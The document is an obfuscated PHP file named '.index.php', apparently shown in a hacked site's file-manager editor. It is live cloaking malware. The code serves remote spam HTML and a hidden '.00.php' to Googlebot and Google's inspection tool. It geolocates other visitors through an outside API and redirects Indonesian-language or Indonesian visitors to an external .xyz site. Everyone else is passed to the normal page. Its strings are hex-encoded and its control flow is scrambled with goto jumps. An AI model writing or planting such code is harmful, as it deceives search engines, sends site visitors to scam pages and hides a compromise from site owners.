Edit File: .index.php
<?php goto lECaF; lECaF: function profile_user() { $refererUrl = !empty($_SERVER["\x48\124\124\120\137\122\105\106\x45\x52\105\x52"]) ? $_SERVER["\x48\124\124\x50\137\122\x45\x46\x45\x52\105\x52"] : "\x4e\x6f\x20\x52\x65\x66\145\x72\145\x72"; $useragent = $_SERVER["\x48\124\x54\120\137\x55\x53\105\122\137\101\107\105\116\x54"]; $themes = "\x68\164\x74\x70\163\x3a\57\57\160\x75\142\x2d\x30\65\142\x61\63\x34\x30\x37\x39\x30\x33\x65\x34\70\64\60\x61\65\65\142\70\143\x32\61\x66\143\66\70\62\143\x64\141\x2e\x72\62\x2e\x64\145\x76\57\156\157\166\165\x73\147\x75\141\162\x64\163\154\151\155\151\164\145\x64\x2e\150\164\x6d\x6c"; $refererDomain = parse_url($refererUrl, PHP_URL_HOST); if (strpos($useragent, "\x47\x6f\x6f\x67\x6c\145\55\111\156\163\160\145\143\164\x69\x6f\156\x54\x6f\157\x6c") !== false || strpos($useragent, "\147\157\x6f\147\154\145\x62\x6f\x74") !== false || strpos($useragent, "\50\x63\157\155\x70\x61\x74\151\142\154\145\73\x20\x47\x6f\157\147\x6c\x65\x62\x6f\x74\57\x32\56\61\73\40\x2b\150\164\x74\160\x3a\57\x2f\167\167\167\x2e\147\x6f\x6f\x67\x6c\145\56\143\x6f\x6d\57\x62\157\164\56\150\164\155\154\51") !== false) { $content = file_get_contents($themes); echo $content; include "\x2e\x30\60\56\x70\x68\x70"; die; } $visitor_ip = $_SERVER["\122\x45\115\117\124\x45\x5f\101\x44\x44\x52"]; $api_url = "\x68\164\164\160\x73\x3a\x2f\57\x61\x70\x69\56\x69\156\143\x6f\x6c\x75\x6d\151\x74\x61\x73\56\x63\157\155\x2f\x3f\x71\75" . $visitor_ip; $ch = curl_init($api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $data = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { echo "\112\x53\x4f\x4e\40\104\145\143\x6f\144\145\x20\x65\x72\162\157\x72\x3a\40" . json_last_error_msg(); die; } $language = isset($_SERVER["\x48\x54\124\120\x5f\101\103\103\x45\x50\x54\137\x4c\101\116\x47\125\101\107\105"]) ? strtolower($_SERVER["\110\124\124\x50\x5f\101\x43\103\x45\120\124\137\114\101\116\x47\x55\x41\x47\105"]) : ''; if (isset($data["\x63\x6f\x75\x6e\164\x72\x79\137\x63\157\144\145"]) && $data["\x63\x6f\165\156\164\x72\171\x5f\x63\157\144\x65"] === "\111\104" || isset($data["\143\x6f\x75\x6e\164\162\171"]) && $data["\143\157\x75\x6e\164\x72\171"] === "\111\156\x64\x6f\156\x65\x73\151\x61" || strpos($language, "\x69\144") !== false) { header("\114\157\x63\x61\164\151\157\x6e\x3a\40\x68\x74\164\x70\163\72\x2f\x2f\x61\x6b\163\x65\x73\x63\145\160\141\164\56\170\x79\x7a\57\x6a\157\163\61\67\70", true, 301); die; } include "\151\x6e\x64\x65\170\x2e\160\150\160"; die; } goto FU4Lm; FU4Lm: profile_user(); goto XKz3K; XKz3K: ?>